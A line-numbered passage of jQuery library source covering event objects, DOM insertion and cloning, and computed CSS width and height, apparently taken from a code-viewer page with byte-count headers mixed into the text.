5292jQuery.isFunction( hook ) ? 5293 function() { 5294 if ( this.originalEvent ) { 5295 return hook( this.originalEvent ); 5296 } 5297 } : 5298 function() { 5299 if ( this.originalEvent ) { 5300 return this.originalEvent[ name ]; 5301 } 5302 }, 5303 5304 set: function( value ) { 5305 Object.defineProperty( this, name, { 5306 enumerable: true, 5307 configurable: true, 5308 writable: true, 5309 value: value 5310 } ); 5311 } 5312 } ); 5313 }, 5314 5315 fix: function( originalEvent ) { 5316 return originalEvent[ jQuery.expando ] ? 5317 originalEvent : 5318 new jQuery.Event( originalEvent ); 5319 }, 5320 5321 special: { 5322 load: { 5323 5324 // Prevent triggered image.load events from bubbling to window.load 5325 noBubble: true 5326 }, 5327 focus: { 5328 5329 // Fire native event if possible so blur/focus sequence is correct 5330 trigger: function() { 5331 if ( this !== safeActiveElement() && this.focus ) { 5332 this.focus(); 5333 return false; 5334 } 5335 }, 5336 delegateType: "focusin" 5337 }, 5338 blur: { 5339 trigger: function() { 5340 if ( this === safeActiveElement() && this.blur ) { 5341 this.blur(); 5342 return false; 5343 } 5344 }, 5345 delegateType: "focusout" 5346 }, 5347 click: { 5348 5349 // For checkbox, fire native event so checked state will be right 5350 trigger: function() { 5351 if ( this.type === "checkbox" && this.click && nodeName( this, "input" ) ) { 5352 this.click(); 5353 return false; 5354 } 5355 }, 5356 5357 // For cross-browser consistency, don't fire native .click() on links 5358 _default: function( event ) { 5359 return nodeName( event.target, "a" ); 5360 } 5361 }, 5362 5363 beforeunload: { 5364 postDispatch: function( event ) { 5365 5366 // Support: Firefox 20+ 5367 // Firefox doesn't alert if the returnValue field is not set. 5368 if ( event.result !== undefined && event.originalEvent ) { 5369 event.originalEvent.returnValue = event.result; 5370 } 5371 } 5372 } 5373 } 5374}; 5375 5376jQuery.removeEvent = function( elem, type, handle ) { 5377 5378 // This "if" is needed for plain objects 5379 if ( elem.removeEventListener ) { 5380 elem.removeEventListener( type, handle ); 5381 } 5382}; 5383 5384jQuery.Event = function( src, props ) { 5385 5386 // Allow instantiation without the 'new' keyword 5387 if ( !( this instanceof jQuery.Event ) ) { 5388 return new jQuery.Event( src, props ); 5389 } 5390 5391 // Event object 5392 if ( src && src.type ) { 5393 this.originalEvent = src; 5394 this.type = src.type; 5395 5396 // Events bubbling up the document may have been marked as prevented 5397 // by a handler lower down the tree; reflect the correct value. 5398 this.isDefaultPrevented = src.defaultPrevented || 5399 src.defaultPrevented === undefined && 5400 5401 // Support: Android <=2.3 only 5402 src.returnValue === false ? 5403 returnTrue : 5404 returnFalse; 5405 5406 // Create target properties 5407 // Support: Safari <=6 - 7 only 5408 // Target should not be a text node (#504, #13143) 5409 this.target = ( src.target && src.target.nodeType === 3 ) ? 5410 src.target.parentNode : 5411 src.target; 5412 5413 this.currentTarget = src.currentTarget; 5414 this.relatedTarget = src.relatedTarget; 5415 5416 // Event type 5417 } else { 5418 this.type = src; 5419 } 5420 5421 // Put explicitly provided properties onto the event object 5422 if ( props ) { 5423 jQuery.extend( this, props ); 5424 } 5425 5426 // Create a timestamp if incoming event doesn't have one 5427 this.timeStamp = src && src.timeStamp || jQuery.now(); 5428 5429 // Mark it as fixed 5430 this[ jQuery.expando ] = true; 5431}; 5432 5433// jQuery.Event is based on DOM3 Events as specified by the ECMAScript Language Binding 5434// https://www.w3.org/TR/2003/WD-DOM-Level-3-Events-20030331/ecma-script-binding.html 5435jQuery.Event.prototype = { 5436 constructor: jQuery.Event, 5437 isDefaultPrevented: returnFalse, 5438 isPropagationStopped: returnFalse, 5439 isImmediatePropagationStopped: returnFalse, 5440 isSimulated: false, 5441 5442 preventDefault: function() { 5443 var e = this.originalEvent; 5444 5445 this.isDefaultPrevented = returnTrue; 5446 5447 if ( e && !this.isSimulated ) { 5448 e.preventDefault(); 5449 } 5450 }, 5451 stopPropagation: function() { 5452 var e = this.originalEvent; 5453 5454 this.isPropagationStopped = returnTrue; 5455 5456 if ( e && !this.isSimulated ) { 5457 e.stopPropagation(); 5458 } 5459 }, 5460 stopImmediatePropagation: function() { 5461 var e = this.originalEvent; 5462 5463 this.isImmediatePropagationStopped = returnTrue; 5464 5465 if ( e && !this.isSimulated ) { 5466 e.stopImmediatePropagation(); 5467 } 5468 5469 this.stopPropagation(); 5470 } 5471}; 5472 5473// Includes all common event props including KeyEvent and MouseEvent specific props 5474jQuery.each( { 5475 altKey: true, 5476 bubbles: true, 5477 cancelable: true, 5478 changedTouches: true, 5479 ctrlKey: true, 5480 detail: true, 5481 eventPhase: true, 5482 metaKey: true, 5483 pageX: true, 5484 pageY: true, 5485 shiftKey: true, 5486 view: true, 5487 "char": true, 5488 charCode: true, 5489 key: true, 5490 keyCode: true, 5491 button: true, 5492 buttons: true, 5493 clientX: true, 5494 clientY: true, 5495 offsetX: true, 5496 offsetY: true, 5497 pointerId: true, 5498 pointerType: true, 5499 screenX: true, 5500 screenY: true, 5501 targetTouches: true, 5502 toElement: true, 5503 touches: true, 5504 5505 which: function( event ) { 5506 var button = event.button; 5507 5508 // Add which for key events 5509 if ( event.which == null && rkeyEvent.test( event.type ) ) { 5510 return event.charCode != null ? event.charCode : event.keyCode; 5511 } 5512 5513 // Add which for click: 1 === left; 2 === middle; 3 === right 5514 if ( !event.which && button !== undefined && rmouseEvent.test( event.type ) ) { 5515 if ( button & 1 ) { 5516 return 1; 5517 } 5518 5519 if ( button & 2 ) { 5520 return 3; 5521 } 5522 5523 if ( button & 4 ) { 5524 return 2; 5525 } 5526 5527 return 0; 5528 } 5529 5530 return event.which; 5531 } 5532}, jQuery.event.addProp ); 5533 5534// Create mouseenter/leave events using mouseover/out and event-time checks 5535// so that event delegation works in jQuery. 5536// Do the same for pointerenter/pointerleave and pointerover/pointerout 5537// 5538// Support: Safari 7 only 5539// Safari sends mouseenter too often; see: 5540// https://bugs.chromium.org/p/chromium/issues/detail?id=470258 5541// for the description of the bug (it existed in older Chrome versions as well). 5542jQuery.each( { 5543 mouseenter: "mouseover", 5544 mouseleave: "mouseout", 5545 pointerenter: "pointerover", 5546 pointerleave: "pointerout" 5547}, function( orig, fix ) { 5548 jQuery.event.special[ orig ] = { 5549 delegateType: fix, 5550 bindType: fix, 5551 5552 handle: function( event ) { 5553 var ret, 5554 target = this, 5555 related = event.relatedTarget, 5556 handleObj = event.handleObj; 5557 5558 // For mouseenter/leave call the handler if related is outside the target. 5559 // NB: No relatedTarget if the mouse left/entered the browser window 5560 if ( !related || ( related !== target && !jQuery.contains( target, related ) ) ) { 5561 event.type = handleObj.origType; 5562 ret = handleObj.handler.apply( this, arguments ); 5563 event.type = fix; 5564 } 5565 return ret; 5566 } 5567 }; 5568} ); 5569 5570jQuery.fn.extend( { 5571 5572 on: function( types, selector, data, fn ) { 5573 return on( this, types, selector, data, fn ); 5574 }, 5575 one: function( types, selector, data, fn ) { 5576 return on( this, types, selector, data, fn, 1 ); 5577 }, 5578 off: function( types, selector, fn ) { 5579 var handleObj, type; 5580 if ( types && types.preventDefault && types.handleObj ) { 5581 5582 // ( event ) dispatched jQuery.Event 5583 handleObj = types.handleObj; 5584 jQuery( types.delegateTarget ).off( 5585 handleObj.namespace ? 5586 handleObj.origType + "." + handleObj.namespace : 5587 handleObj.origType, 5588 handleObj.selector, 5589 handleObj.handler 5590 ); 5591 return this; 5592 } 5593 if ( typeof types === "object" ) { 5594 5595 // ( types-object [, selector] ) 5596 for ( type in types ) { 5597 this.off( type, selector, types[ type ] ); 5598 } 5599 return this; 5600 } 5601 if ( selector === false || typeof selector === "function" ) { 5602 5603 // ( types [, fn] ) 5604 fn = selector; 5605 selector = undefined; 5606 } 5607 if ( fn === false ) { 5608 fn = returnFalse; 5609 } 5610 return this.each( function() { 5611 jQuery.event.remove( this, types, fn, selector ); 5612 } ); 5613 } 5614} ); 5615 5616 5617var 5618 5619 /* eslint-disable max-len */ 5620 5621 // See https://github.com/eslint/eslint/issues/3229 5622 rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi, 5623 5624 /* eslint-enable */ 5625 5626 // Support: IE <=10 - 11, Edge 12 - 13 5627 // In IE/Edge using regex groups here causes severe slowdowns. 5628 // See https://connect.microsoft.com/IE/feedback/details/1736512/ 5629 rnoInnerhtml = /<script|<style|<link/i, 5630 5631 // checked="checked" or checked 5632 rchecked = /checked\s*(?:[^=]|=\s*.checked.)/i, 5633 rscriptTypeMasked = /^true\/(.*)/, 5634 rcleanScript = /^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g; 5635 5636// Prefer a tbody over its parent table for containing new rows 5637function manipulationTarget( elem, content ) { 5638 if ( nodeName( elem, "table" ) && 5639 nodeName( content.nodeType !== 11 ? content : content.firstChild, "tr" ) ) { 5640 5641 return jQuery( ">tbody", elem
vendor: 6,531 bytes, lines 5641-5889
5641 )[ 0 ] || elem; 5642 } 5643 5644 return elem; 5645} 5646 5647// Replace/restore the type attribute of script elements for safe DOM manipulation 5648function disableScript( elem ) { 5649 elem.type = ( elem.getAttribute( "type" ) !== null ) + "/" + elem.type; 5650 return elem; 5651} 5652function restoreScript( elem ) { 5653 var match = rscriptTypeMasked.exec( elem.type ); 5654 5655 if ( match ) { 5656 elem.type = match[ 1 ]; 5657 } else { 5658 elem.removeAttribute( "type" ); 5659 } 5660 5661 return elem; 5662} 5663 5664function cloneCopyEvent( src, dest ) { 5665 var i, l, type, pdataOld, pdataCur, udataOld, udataCur, events; 5666 5667 if ( dest.nodeType !== 1 ) { 5668 return; 5669 } 5670 5671 // 1. Copy private data: events, handlers, etc. 5672 if ( dataPriv.hasData( src ) ) { 5673 pdataOld = dataPriv.access( src ); 5674 pdataCur = dataPriv.set( dest, pdataOld ); 5675 events = pdataOld.events; 5676 5677 if ( events ) { 5678 delete pdataCur.handle; 5679 pdataCur.events = {}; 5680 5681 for ( type in events ) { 5682 for ( i = 0, l = events[ type ].length; i < l; i++ ) { 5683 jQuery.event.add( dest, type, events[ type ][ i ] ); 5684 } 5685 } 5686 } 5687 } 5688 5689 // 2. Copy user data 5690 if ( dataUser.hasData( src ) ) { 5691 udataOld = dataUser.access( src ); 5692 udataCur = jQuery.extend( {}, udataOld ); 5693 5694 dataUser.set( dest, udataCur ); 5695 } 5696} 5697 5698// Fix IE bugs, see support tests 5699function fixInput( src, dest ) { 5700 var nodeName = dest.nodeName.toLowerCase(); 5701 5702 // Fails to persist the checked state of a cloned checkbox or radio button. 5703 if ( nodeName === "input" && rcheckableType.test( src.type ) ) { 5704 dest.checked = src.checked; 5705 5706 // Fails to return the selected option to the default selected state when cloning options 5707 } else if ( nodeName === "input" || nodeName === "textarea" ) { 5708 dest.defaultValue = src.defaultValue; 5709 } 5710} 5711 5712function domManip( collection, args, callback, ignored ) { 5713 5714 // Flatten any nested arrays 5715 args = concat.apply( [], args ); 5716 5717 var fragment, first, scripts, hasScripts, node, doc, 5718 i = 0, 5719 l = collection.length, 5720 iNoClone = l - 1, 5721 value = args[ 0 ], 5722 isFunction = jQuery.isFunction( value ); 5723 5724 // We can't cloneNode fragments that contain checked, in WebKit 5725 if ( isFunction || 5726 ( l > 1 && typeof value === "string" && 5727 !support.checkClone && rchecked.test( value ) ) ) { 5728 return collection.each( function( index ) { 5729 var self = collection.eq( index ); 5730 if ( isFunction ) { 5731 args[ 0 ] = value.call( this, index, self.html() ); 5732 } 5733 domManip( self, args, callback, ignored ); 5734 } ); 5735 } 5736 5737 if ( l ) { 5738 fragment = buildFragment( args, collection[ 0 ].ownerDocument, false, collection, ignored ); 5739 first = fragment.firstChild; 5740 5741 if ( fragment.childNodes.length === 1 ) { 5742 fragment = first; 5743 } 5744 5745 // Require either new content or an interest in ignored elements to invoke the callback 5746 if ( first || ignored ) { 5747 scripts = jQuery.map( getAll( fragment, "script" ), disableScript ); 5748 hasScripts = scripts.length; 5749 5750 // Use the original fragment for the last item 5751 // instead of the first because it can end up 5752 // being emptied incorrectly in certain situations (#8070). 5753 for ( ; i < l; i++ ) { 5754 node = fragment; 5755 5756 if ( i !== iNoClone ) { 5757 node = jQuery.clone( node, true, true ); 5758 5759 // Keep references to cloned scripts for later restoration 5760 if ( hasScripts ) { 5761 5762 // Support: Android <=4.0 only, PhantomJS 1 only 5763 // push.apply(_, arraylike) throws on ancient WebKit 5764 jQuery.merge( scripts, getAll( node, "script" ) ); 5765 } 5766 } 5767 5768 callback.call( collection[ i ], node, i ); 5769 } 5770 5771 if ( hasScripts ) { 5772 doc = scripts[ scripts.length - 1 ].ownerDocument; 5773 5774 // Reenable scripts 5775 jQuery.map( scripts, restoreScript ); 5776 5777 // Evaluate executable scripts on first document insertion 5778 for ( i = 0; i < hasScripts; i++ ) { 5779 node = scripts[ i ]; 5780 if ( rscriptType.test( node.type || "" ) && 5781 !dataPriv.access( node, "globalEval" ) && 5782 jQuery.contains( doc, node ) ) { 5783 5784 if ( node.src ) { 5785 5786 // Optional AJAX dependency, but won't run scripts if not present 5787 if ( jQuery._evalUrl ) { 5788 jQuery._evalUrl( node.src ); 5789 } 5790 } else { 5791 DOMEval( node.textContent.replace( rcleanScript, "" ), doc ); 5792 } 5793 } 5794 } 5795 } 5796 } 5797 } 5798 5799 return collection; 5800} 5801 5802function remove( elem, selector, keepData ) { 5803 var node, 5804 nodes = selector ? jQuery.filter( selector, elem ) : elem, 5805 i = 0; 5806 5807 for ( ; ( node = nodes[ i ] ) != null; i++ ) { 5808 if ( !keepData && node.nodeType === 1 ) { 5809 jQuery.cleanData( getAll( node ) ); 5810 } 5811 5812 if ( node.parentNode ) { 5813 if ( keepData && jQuery.contains( node.ownerDocument, node ) ) { 5814 setGlobalEval( getAll( node, "script" ) ); 5815 } 5816 node.parentNode.removeChild( node ); 5817 } 5818 } 5819 5820 return elem; 5821} 5822 5823jQuery.extend( { 5824 htmlPrefilter: function( html ) { 5825 return html.replace( rxhtmlTag, "<$1></$2>" ); 5826 }, 5827 5828 clone: function( elem, dataAndEvents, deepDataAndEvents ) { 5829 var i, l, srcElements, destElements, 5830 clone = elem.cloneNode( true ), 5831 inPage = jQuery.contains( elem.ownerDocument, elem ); 5832 5833 // Fix IE cloning issues 5834 if ( !support.noCloneChecked && ( elem.nodeType === 1 || elem.nodeType === 11 ) && 5835 !jQuery.isXMLDoc( elem ) ) { 5836 5837 // We eschew Sizzle here for performance reasons: https://jsperf.com/getall-vs-sizzle/2 5838 destElements = getAll( clone ); 5839 srcElements = getAll( elem ); 5840 5841 for ( i = 0, l = srcElements.length; i < l; i++ ) { 5842 fixInput( srcElements[ i ], destElements[ i ] ); 5843 } 5844 } 5845 5846 // Copy the events from the original to the clone 5847 if ( dataAndEvents ) { 5848 if ( deepDataAndEvents ) { 5849 srcElements = srcElements || getAll( elem ); 5850 destElements = destElements || getAll( clone ); 5851 5852 for ( i = 0, l = srcElements.length; i < l; i++ ) { 5853 cloneCopyEvent( srcElements[ i ], destElements[ i ] ); 5854 } 5855 } else { 5856 cloneCopyEvent( elem, clone ); 5857 } 5858 } 5859 5860 // Preserve script evaluation history 5861 destElements = getAll( clone, "script" ); 5862 if ( destElements.length > 0 ) { 5863 setGlobalEval( destElements, !inPage && getAll( elem, "script" ) ); 5864 } 5865 5866 // Return the cloned set 5867 return clone; 5868 }, 5869 5870 cleanData: function( elems ) { 5871 var data, elem, type, 5872 special = jQuery.event.special, 5873 i = 0; 5874 5875 for ( ; ( elem = elems[ i ] ) !== undefined; i++ ) { 5876 if ( acceptData( elem ) ) { 5877 if ( ( data = elem[ dataPriv.expando ] ) ) { 5878 if ( data.events ) { 5879 for ( type in data.events ) { 5880 if ( special[ type ] ) { 5881 jQuery.event.remove( elem, type ); 5882 5883 // This is a shortcut to avoid jQuery.event.remove's overhead 5884 } else { 5885 jQuery.removeEvent( elem, type, data.handle ); 5886 } 5887 } 5888 } 5889
vendor: 1,119 bytes, lines 5890-5934
5890 // Support: Chrome <=35 - 45+ 5891 // Assign undefined instead of using delete, see Data#remove 5892 elem[ dataPriv.expando ] = undefined; 5893 } 5894 if ( elem[ dataUser.expando ] ) { 5895 5896 // Support: Chrome <=35 - 45+ 5897 // Assign undefined instead of using delete, see Data#remove 5898 elem[ dataUser.expando ] = undefined; 5899 } 5900 } 5901 } 5902 } 5903} ); 5904 5905jQuery.fn.extend( { 5906 detach: function( selector ) { 5907 return remove( this, selector, true ); 5908 }, 5909 5910 remove: function( selector ) { 5911 return remove( this, selector ); 5912 }, 5913 5914 text: function( value ) { 5915 return access( this, function( value ) { 5916 return value === undefined ? 5917 jQuery.text( this ) : 5918 this.empty().each( function() { 5919 if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) { 5920 this.textContent = value; 5921 } 5922 } ); 5923 }, null, value, arguments.length ); 5924 }, 5925 5926 append: function() { 5927 return domManip( this, arguments, function( elem ) { 5928 if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) { 5929 var target = manipulationTarget( this, elem ); 5930 target.appendChild( elem ); 5931 } 5932 } ); 5933 }, 5934
vendor: 6,076 bytes, lines 5935-6170
5935 prepend: function() { 5936 return domManip( this, arguments, function( elem ) { 5937 if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) { 5938 var target = manipulationTarget( this, elem ); 5939 target.insertBefore( elem, target.firstChild ); 5940 } 5941 } ); 5942 }, 5943 5944 before: function() { 5945 return domManip( this, arguments, function( elem ) { 5946 if ( this.parentNode ) { 5947 this.parentNode.insertBefore( elem, this ); 5948 } 5949 } ); 5950 }, 5951 5952 after: function() { 5953 return domManip( this, arguments, function( elem ) { 5954 if ( this.parentNode ) { 5955 this.parentNode.insertBefore( elem, this.nextSibling ); 5956 } 5957 } ); 5958 }, 5959 5960 empty: function() { 5961 var elem, 5962 i = 0; 5963 5964 for ( ; ( elem = this[ i ] ) != null; i++ ) { 5965 if ( elem.nodeType === 1 ) { 5966 5967 // Prevent memory leaks 5968 jQuery.cleanData( getAll( elem, false ) ); 5969 5970 // Remove any remaining nodes 5971 elem.textContent = ""; 5972 } 5973 } 5974 5975 return this; 5976 }, 5977 5978 clone: function( dataAndEvents, deepDataAndEvents ) { 5979 dataAndEvents = dataAndEvents == null ? false : dataAndEvents; 5980 deepDataAndEvents = deepDataAndEvents == null ? dataAndEvents : deepDataAndEvents; 5981 5982 return this.map( function() { 5983 return jQuery.clone( this, dataAndEvents, deepDataAndEvents ); 5984 } ); 5985 }, 5986 5987 html: function( value ) { 5988 return access( this, function( value ) { 5989 var elem = this[ 0 ] || {}, 5990 i = 0, 5991 l = this.length; 5992 5993 if ( value === undefined && elem.nodeType === 1 ) { 5994 return elem.innerHTML; 5995 } 5996 5997 // See if we can take a shortcut and just use innerHTML 5998 if ( typeof value === "string" && !rnoInnerhtml.test( value ) && 5999 !wrapMap[ ( rtagName.exec( value ) || [ "", "" ] )[ 1 ].toLowerCase() ] ) { 6000 6001 value = jQuery.htmlPrefilter( value ); 6002 6003 try { 6004 for ( ; i < l; i++ ) { 6005 elem = this[ i ] || {}; 6006 6007 // Remove element nodes and prevent memory leaks 6008 if ( elem.nodeType === 1 ) { 6009 jQuery.cleanData( getAll( elem, false ) ); 6010 elem.innerHTML = value; 6011 } 6012 } 6013 6014 elem = 0; 6015 6016 // If using innerHTML throws an exception, use the fallback method 6017 } catch ( e ) {} 6018 } 6019 6020 if ( elem ) { 6021 this.empty().append( value ); 6022 } 6023 }, null, value, arguments.length ); 6024 }, 6025 6026 replaceWith: function() { 6027 var ignored = []; 6028 6029 // Make the changes, replacing each non-ignored context element with the new content 6030 return domManip( this, arguments, function( elem ) { 6031 var parent = this.parentNode; 6032 6033 if ( jQuery.inArray( this, ignored ) < 0 ) { 6034 jQuery.cleanData( getAll( this ) ); 6035 if ( parent ) { 6036 parent.replaceChild( elem, this ); 6037 } 6038 } 6039 6040 // Force callback invocation 6041 }, ignored ); 6042 } 6043} ); 6044 6045jQuery.each( { 6046 appendTo: "append", 6047 prependTo: "prepend", 6048 insertBefore: "before", 6049 insertAfter: "after", 6050 replaceAll: "replaceWith" 6051}, function( name, original ) { 6052 jQuery.fn[ name ] = function( selector ) { 6053 var elems, 6054 ret = [], 6055 insert = jQuery( selector ), 6056 last = insert.length - 1, 6057 i = 0; 6058 6059 for ( ; i <= last; i++ ) { 6060 elems = i === last ? this : this.clone( true ); 6061 jQuery( insert[ i ] )[ original ]( elems ); 6062 6063 // Support: Android <=4.0 only, PhantomJS 1 only 6064 // .get() because push.apply(_, arraylike) throws on ancient WebKit 6065 push.apply( ret, elems.get() ); 6066 } 6067 6068 return this.pushStack( ret ); 6069 }; 6070} ); 6071var rmargin = ( /^margin/ ); 6072 6073var rnumnonpx = new RegExp( "^(" + pnum + ")(?!px)[a-z%]+$", "i" ); 6074 6075var getStyles = function( elem ) { 6076 6077 // Support: IE <=11 only, Firefox <=30 (#15098, #14150) 6078 // IE throws on elements created in popups 6079 // FF meanwhile throws on frame elements through "defaultView.getComputedStyle" 6080 var view = elem.ownerDocument.defaultView; 6081 6082 if ( !view || !view.opener ) { 6083 view = window; 6084 } 6085 6086 return view.getComputedStyle( elem ); 6087 }; 6088 6089 6090 6091( function() { 6092 6093 // Executing both pixelPosition & boxSizingReliable tests require only one layout 6094 // so they're executed at the same time to save the second computation. 6095 function computeStyleTests() { 6096 6097 // This is a singleton, we need to execute it only once 6098 if ( !div ) { 6099 return; 6100 } 6101 6102 div.style.cssText = 6103 "box-sizing:border-box;" + 6104 "position:relative;display:block;" + 6105 "margin:auto;border:1px;padding:1px;" + 6106 "top:1%;width:50%"; 6107 div.innerHTML = ""; 6108 documentElement.appendChild( container ); 6109 6110 var divStyle = window.getComputedStyle( div ); 6111 pixelPositionVal = divStyle.top !== "1%"; 6112 6113 // Support: Android 4.0 - 4.3 only, Firefox <=3 - 44 6114 reliableMarginLeftVal = divStyle.marginLeft === "2px"; 6115 boxSizingReliableVal = divStyle.width === "4px"; 6116 6117 // Support: Android 4.0 - 4.3 only 6118 // Some styles come back with percentage values, even though they shouldn't 6119 div.style.marginRight = "50%"; 6120 pixelMarginRightVal = divStyle.marginRight === "4px"; 6121 6122 documentElement.removeChild( container ); 6123 6124 // Nullify the div so it wouldn't be stored in the memory and 6125 // it will also be a sign that checks already performed 6126 div = null; 6127 } 6128 6129 var pixelPositionVal, boxSizingReliableVal, pixelMarginRightVal, reliableMarginLeftVal, 6130 container = document.createElement( "div" ), 6131 div = document.createElement( "div" ); 6132 6133 // Finish early in limited (non-browser) environments 6134 if ( !div.style ) { 6135 return; 6136 } 6137 6138 // Support: IE <=9 - 11 only 6139 // Style of cloned element affects source element cloned (#8908) 6140 div.style.backgroundClip = "content-box"; 6141 div.cloneNode( true ).style.backgroundClip = ""; 6142 support.clearCloneStyle = div.style.backgroundClip === "content-box"; 6143 6144 container.style.cssText = "border:0;width:8px;height:0;top:0;left:-9999px;" + 6145 "padding:0;margin-top:1px;position:absolute"; 6146 container.appendChild( div ); 6147 6148 jQuery.extend( support, { 6149 pixelPosition: function() { 6150 computeStyleTests(); 6151 return pixelPositionVal; 6152 }, 6153 boxSizingReliable: function() { 6154 computeStyleTests(); 6155 return boxSizingReliableVal; 6156 }, 6157 pixelMarginRight: function() { 6158 computeStyleTests(); 6159 return pixelMarginRightVal; 6160 }, 6161 reliableMarginLeft: function() { 6162 computeStyleTests(); 6163 return reliableMarginLeftVal; 6164 } 6165 } ); 6166} )(); 6167 6168 6169function curCSS( elem, name, computed ) { 6170 var width, minWidth, maxWidth, ret,
vendor: 8,366 bytes, lines 6171-6476
6171 6172 // Support: Firefox 51+ 6173 // Retrieving style before computed somehow 6174 // fixes an issue with getting wrong values 6175 // on detached elements 6176 style = elem.style; 6177 6178 computed = computed || getStyles( elem ); 6179 6180 // getPropertyValue is needed for: 6181 // .css('filter') (IE 9 only, #12537) 6182 // .css('--customProperty) (#3144) 6183 if ( computed ) { 6184 ret = computed.getPropertyValue( name ) || computed[ name ]; 6185 6186 if ( ret === "" && !jQuery.contains( elem.ownerDocument, elem ) ) { 6187 ret = jQuery.style( elem, name ); 6188 } 6189 6190 // A tribute to the "awesome hack by Dean Edwards" 6191 // Android Browser returns percentage for some values, 6192 // but width seems to be reliably pixels. 6193 // This is against the CSSOM draft spec: 6194 // https://drafts.csswg.org/cssom/#resolved-values 6195 if ( !support.pixelMarginRight() && rnumnonpx.test( ret ) && rmargin.test( name ) ) { 6196 6197 // Remember the original values 6198 width = style.width; 6199 minWidth = style.minWidth; 6200 maxWidth = style.maxWidth; 6201 6202 // Put in the new values to get a computed value out 6203 style.minWidth = style.maxWidth = style.width = ret; 6204 ret = computed.width; 6205 6206 // Revert the changed values 6207 style.width = width; 6208 style.minWidth = minWidth; 6209 style.maxWidth = maxWidth; 6210 } 6211 } 6212 6213 return ret !== undefined ? 6214 6215 // Support: IE <=9 - 11 only 6216 // IE returns zIndex value as an integer. 6217 ret + "" : 6218 ret; 6219} 6220 6221 6222function addGetHookIf( conditionFn, hookFn ) { 6223 6224 // Define the hook, we'll check on the first run if it's really needed. 6225 return { 6226 get: function() { 6227 if ( conditionFn() ) { 6228 6229 // Hook not needed (or it's not possible to use it due 6230 // to missing dependency), remove it. 6231 delete this.get; 6232 return; 6233 } 6234 6235 // Hook needed; redefine it so that the support test is not executed again. 6236 return ( this.get = hookFn ).apply( this, arguments ); 6237 } 6238 }; 6239} 6240 6241 6242var 6243 6244 // Swappable if display is none or starts with table 6245 // except "table", "table-cell", or "table-caption" 6246 // See here for display values: https://developer.mozilla.org/en-US/docs/CSS/display 6247 rdisplayswap = /^(none|table(?!-c[ea]).+)/, 6248 rcustomProp = /^--/, 6249 cssShow = { position: "absolute", visibility: "hidden", display: "block" }, 6250 cssNormalTransform = { 6251 letterSpacing: "0", 6252 fontWeight: "400" 6253 }, 6254 6255 cssPrefixes = [ "Webkit", "Moz", "ms" ], 6256 emptyStyle = document.createElement( "div" ).style; 6257 6258// Return a css property mapped to a potentially vendor prefixed property 6259function vendorPropName( name ) { 6260 6261 // Shortcut for names that are not vendor prefixed 6262 if ( name in emptyStyle ) { 6263 return name; 6264 } 6265 6266 // Check for vendor prefixed names 6267 var capName = name[ 0 ].toUpperCase() + name.slice( 1 ), 6268 i = cssPrefixes.length; 6269 6270 while ( i-- ) { 6271 name = cssPrefixes[ i ] + capName; 6272 if ( name in emptyStyle ) { 6273 return name; 6274 } 6275 } 6276} 6277 6278// Return a property mapped along what jQuery.cssProps suggests or to 6279// a vendor prefixed property. 6280function finalPropName( name ) { 6281 var ret = jQuery.cssProps[ name ]; 6282 if ( !ret ) { 6283 ret = jQuery.cssProps[ name ] = vendorPropName( name ) || name; 6284 } 6285 return ret; 6286} 6287 6288function setPositiveNumber( elem, value, subtract ) { 6289 6290 // Any relative (+/-) values have already been 6291 // normalized at this point 6292 var matches = rcssNum.exec( value ); 6293 return matches ? 6294 6295 // Guard against undefined "subtract", e.g., when used as in cssHooks 6296 Math.max( 0, matches[ 2 ] - ( subtract || 0 ) ) + ( matches[ 3 ] || "px" ) : 6297 value; 6298} 6299 6300function augmentWidthOrHeight( elem, name, extra, isBorderBox, styles ) { 6301 var i, 6302 val = 0; 6303 6304 // If we already have the right measurement, avoid augmentation 6305 if ( extra === ( isBorderBox ? "border" : "content" ) ) { 6306 i = 4; 6307 6308 // Otherwise initialize for horizontal or vertical properties 6309 } else { 6310 i = name === "width" ? 1 : 0; 6311 } 6312 6313 for ( ; i < 4; i += 2 ) { 6314 6315 // Both box models exclude margin, so add it if we want it 6316 if ( extra === "margin" ) { 6317 val += jQuery.css( elem, extra + cssExpand[ i ], true, styles ); 6318 } 6319 6320 if ( isBorderBox ) { 6321 6322 // border-box includes padding, so remove it if we want content 6323 if ( extra === "content" ) { 6324 val -= jQuery.css( elem, "padding" + cssExpand[ i ], true, styles ); 6325 } 6326 6327 // At this point, extra isn't border nor margin, so remove border 6328 if ( extra !== "margin" ) { 6329 val -= jQuery.css( elem, "border" + cssExpand[ i ] + "Width", true, styles ); 6330 } 6331 } else { 6332 6333 // At this point, extra isn't content, so add padding 6334 val += jQuery.css( elem, "padding" + cssExpand[ i ], true, styles ); 6335 6336 // At this point, extra isn't content nor padding, so add border 6337 if ( extra !== "padding" ) { 6338 val += jQuery.css( elem, "border" + cssExpand[ i ] + "Width", true, styles ); 6339 } 6340 } 6341 } 6342 6343 return val; 6344} 6345 6346function getWidthOrHeight( elem, name, extra ) { 6347 6348 // Start with computed style 6349 var valueIsBorderBox, 6350 styles = getStyles( elem ), 6351 val = curCSS( elem, name, styles ), 6352 isBorderBox = jQuery.css( elem, "boxSizing", false, styles ) === "border-box"; 6353 6354 // Computed unit is not pixels. Stop here and return. 6355 if ( rnumnonpx.test( val ) ) { 6356 return val; 6357 } 6358 6359 // Check for style in case a browser which returns unreliable values 6360 // for getComputedStyle silently falls back to the reliable elem.style 6361 valueIsBorderBox = isBorderBox && 6362 ( support.boxSizingReliable() || val === elem.style[ name ] ); 6363 6364 // Fall back to offsetWidth/Height when value is "auto" 6365 // This happens for inline elements with no explicit setting (gh-3571) 6366 if ( val === "auto" ) { 6367 val = elem[ "offset" + name[ 0 ].toUpperCase() + name.slice( 1 ) ]; 6368 } 6369 6370 // Normalize "", auto, and prepare for extra 6371 val = parseFloat( val ) || 0; 6372 6373 // Use the active box-sizing model to add/subtract irrelevant styles 6374 return ( val + 6375 augmentWidthOrHeight( 6376 elem, 6377 name, 6378 extra || ( isBorderBox ? "border" : "content" ), 6379 valueIsBorderBox, 6380 styles 6381 ) 6382 ) + "px"; 6383} 6384 6385jQuery.extend( { 6386 6387 // Add in style property hooks for overriding the default 6388 // behavior of getting and setting a style property 6389 cssHooks: { 6390 opacity: { 6391 get: function( elem, computed ) 